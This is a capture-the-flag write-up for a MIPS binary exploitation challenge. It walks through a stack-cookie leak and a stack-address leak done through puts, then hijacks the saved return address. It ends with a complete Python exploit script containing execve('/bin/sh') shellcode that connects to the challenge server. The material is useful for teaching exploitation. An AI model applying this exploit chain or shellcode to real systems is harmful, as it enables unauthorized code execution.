The challenge:
We use microcontrollers to automate and conserve energy. IoT and stuff. Most of them don't use CISC architectures.
In this challenge we are given 4 files. README.md
and it’s pretty self-explanatory. The actual challenge file is no_risc_no_future
and the readme specifies we should run it using qemu-mipsel-static
. This tells us that the challenge is designed for the MIPS architecture (which is a RISC architecture, unlike CISC).
For this challenge, we chose to use Ghidra, since it has a built-in decompiler for MIPS, which eases our understanding of the exercise.
The code is very simple to read, and this is a textbook stack overflow exercise:
undefined4 main(void) { int read_count; undefined buf [64]; int cookie; cookie = __stack_chk_guard; read_count = 0; while (read_count < 10) { read(0,buf,0x100); puts(buf); read_count = read_count + 1; } if (cookie != __stack_chk_guard) { /* WARNING: Subroutine does not return */ __stack_chk_fail(); } return 0; }
In short:
- The code reads 0x100 bytes into a 0x40 byte-long buffer (Overflow…).
- The code prints whatever string is pointed at “buf” (Infoleak…).
- The code does the following 10 times.
It’s also very clear that we have a stack cookie in place, designed to protect against stack overflows.
Studying the following, it’s very apparent that our challenge here is somehow bypassing the cookie protection mechanism, and then take-over the PC saved in the stack.
We are also provided with the following lines in README.md
, which let us debug the binary:
./qemu-mipsel-static -g 1234 no_risc_no_future gdb-multiarch -ex "break main" -ex "target remote localhost:1234" -ex "continue" ./no_risc_no_future
(Note: my gdb crashed while using gef, but peda seemed to work fine)
Last important point – the code iterates 10 times before finishing, which gives us multiple attempts to exploit the buffer overflow issue. As we’ll soon see – we need a few attempts to properly exploit the binary.
Leaking the cookie
In order to bypass the cookie protection, let’s see where it’s located and what it looks like. This is a dump from gdb, while breaking on read
:
gdb-pedax/100wxsp
0x7fffe348: 0x004072a0 0x0049075c 0x00498300 0x0049074c
0x7fffe358: 0x00498300 0x0048c8fc 0x00400e60 0x00000000
0x7fffe368: 0x00400e60 0x00000000 0x00000000 0x00400634
0x7fffe378: 0x00498300 0x7fffe4a4 0x7fffe6e9 0x004002d4
0x7fffe388: 0x00498300 0x0041fb68 0x00000004 0x41414141
0x7fffe398: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffe3a8: 0x41414141 0x41414141 0x6164730a 0x00420a66
0x7fffe3b8: 0x00498300 0x00000000 0x00000000 0x00400e60
0x7fffe3c8: 0x00000000 0x00000000 0x00000000 0xf7c27700
0x7fffe3d8: 0x00000000 0x004008e8 0x00000000 0x00000000
We can clearly see some AAAA
‘s that I delivered as input. The cookie is located exactly 0x40 bytes after the buf
start (0x0x7fffe394). Cookie @ 0x7fffe3d4 = 0xf7c27700.
As we can see, the first byte of the cookie is a null byte. This is true for every run of the program (you can check it out yourself). So we know one byte, and left with 3 more. What we can do is overflow 1 byte into the cookie (write 0x41 times some printable character), and then puts
will print these bytes, along with the 3 cookie bytes which aren’t null. This way we get an info-leak for the cookie, and can deduce the full cookie from the text that’s printed.
Shellcode
At this point, we wanted to see if we can run code easily from the stack. We copied some MIPS shellcode we found to run bash, put it on the stack, and overwrote the buffer, with the correct cookie, and then PC. Turns out it works! Phew, no need to ROP or anything. BUT, when trying the same thing on the real server, it didn’t work. After thinking a bit, it seems like the stack isn’t always located in the same place, so we need to leak it.
Leaking the stack
Reading the code, and looking at the gdb memory dump, it seems that buf
is uninitialized, and is filled with previous “garbage” data. One of the things that are present in the buffer is a stack address.
gdb-pedax/100wxsp
0x7fffe348: 0x004072a0 0x0049075c 0x00498300 0x0049074c
0x7fffe358: 0x00498300 0x0048c8fc 0x00400e60 0x00000000
0x7fffe368: 0x00400e60 0x00000000 0x00000000 0x00400634
0x7fffe378: 0x00498300 0x7fffe4a4 0x7fffe6e9 0x004002d4
0x7fffe388: 0x00498300 0x0041fb68 0x00000001 0x41414141
0x7fffe398: 0x42424242 0x0049070a 0x00000000 0x00400ef4
0x7fffe3a8: 0x00000000 0x00000001 0x7fffe4a4 0x004218c4
0x7fffe3b8: 0x00498300 0x00000000 0x00000000 0x00400e60
0x7fffe3c8: 0x00000000 0x00000000 0x00000000 0x4acc2700
0x7fffe3d8: 0x00000000 0x004008e8 0x00000000 0x00000000
This is another memory dump, showing the buffer “AAAABBBB” as read from the user, and some “leftovers” inside buf
. We can clearly see that one of the addresses left inside buf
is a stack address – 0x7fffe4a4 @ 0x7fffe3b0. And just in the same manner that we leaked the cookie – we can leak the stack address. Write 0x1c bytes up to the stack address, which will yield in puts
printing it along with our data.
This address turns out to always be relative to where our buffer begins (0x7fffe394). These addresses are 0x110 bytes apart. So we know where our shellcode is located, and what value to set PC to.
Summary
To sum everything up – we have 3 important iterations:
- Leak stack address.
- Leak cookie value
- Write shellcode and overwrite PC to point to our shellcode (last iteration)
And that’s a wrap folks. It was a nice, easy challenge.
flag sha1sum: 1afc8fcd93dcee46d7578cb8307580632eb6e545
Code
import time import socket import struct import hexdump import binascii #HOST = '127.0.0.1' #PORT = 1337 HOST = "noriscnofuture.forfuture.fluxfingers.net" PORT = 1338 def recv_data(s, do_hexdump=False): data = s.recv(1024) if do_hexdump: hexdump.hexdump(data) return data def leak_canary(s): leak_canary_msg = "A" * 0x41 s.send(leak_canary_msg) data = recv_data(s) canary = b"\x00" + data[0x41:0x44] print("canary is: ", binascii.hexlify(canary)) return canary def leak_stack(s): leak_stack_msg = "A" * 0x1c s.send(leak_stack_msg) data = recv_data(s) stack_addr = data[0x1c:0x20] stack_addr = struct.unpack("<I", stack_addr)[0] print("stack_addr is: ", hex(stack_addr)) return stack_addr def send_stub(s): stub_msg = "A" * 0x10 s.send(stub_msg) data = recv_data(s) print("sent stub") def override_pc(s, canary, pc): shellcode = b"\x50\x73\x06\x24\xff\xff\xd0\x04\x50\x73\x0f\x24\xff\xff\x06\x28\xe0\xff\xbd\x27\xd7\xff\x0f\x24\x27\x78\xe0\x01\x21\x20\xef\x03\xe8\xff\xa4\xaf\xec\xff\xa0\xaf\xe8\xff\xa5\x23\xab\x0f\x02\x24\x0c\x01\x01\x01/bin/sh\x00BBBB" assert len(shellcode) == 0x40 final_msg = shellcode + canary + (b"\x00"*4) + pc print("len: ", hex(len(final_msg))) assert len(final_msg) == 0x4c s.send(final_msg) data = recv_data(s) print ("fix cookie, overwrite pc") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((HOST, PORT)) stack_leak_addr = leak_stack(s) stack_start_addr = stack_leak_addr-0x110 canary = leak_canary(s) pc = struct.pack("<I", stack_start_addr) for i in range(7): send_stub(s) override_pc(s, canary, pc) time.sleep(2) s.send("cat flag\n") recv_data(s, do_hexdump=True) s.send("cat flag\n") recv_data(s, do_hexdump=True)